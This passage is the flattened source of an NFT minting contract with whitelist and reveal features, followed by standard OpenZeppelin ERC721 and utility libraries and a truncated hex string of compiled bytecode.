1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner { merkleRoot = _merkleRoot; } function setWhitelistMintEnabled(bool _state) public onlyOwner { whitelistMintEnabled = _state; } function withdraw() public onlyOwner nonReentrant { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102515760003560e01c806370a0823111610139578063b071401b116100b6578063d5abeb011161007a578063d5abeb0114610694578063db4bec44146106aa578063e0a80853146106da578063e985e9c5146106fa578063efbd73f414610743578063f2fde38b1461076357600080fd5b8063b071401b14610601578063b767a09814610621578063b88d4fde14610641578063c87b56dd14610661578063d2cab0561461068157600080fd5b806394354fd0116100fd57806394354fd01461058e57806395d89b41146105a4578063a0712d68146105b9578063a22cb465146105cc578063a45ba8e7146105ec57600080fd5b806370a08231146104fb578063715018a61461051b5780637cb64759146105305780637ec4a659146105505780638da5cb5b1461057057600080fd5b80633ccfd60b116101d2578063518302271161019657806351830227146104585780635503a0e8146104785780635c975abb1461048d57806362b99ad4146104a75780636352211e146104bc5780636caede3d146104dc57600080fd5b80633ccfd60b146103b657806342842e0e146103cb578063438b6300146103eb57806344a0d68a146104185780634fdd43cb1461043857600080fd5b806316ba10e01161021957806316ba10e01461032b57806316c38b3c1461034b57806318160ddd1461036b57806323b872dd146103805780632eb4a7ab146103a057600080fd5b806301ffc9a71461025657806306fdde031461028b578063081812fc146102ad578063095ea7b3146102e557806313faede614610307575b600080fd5b34801561026257600080fd5b50610276610271366004612061565b610783565b60405190151581526020015b6040518091039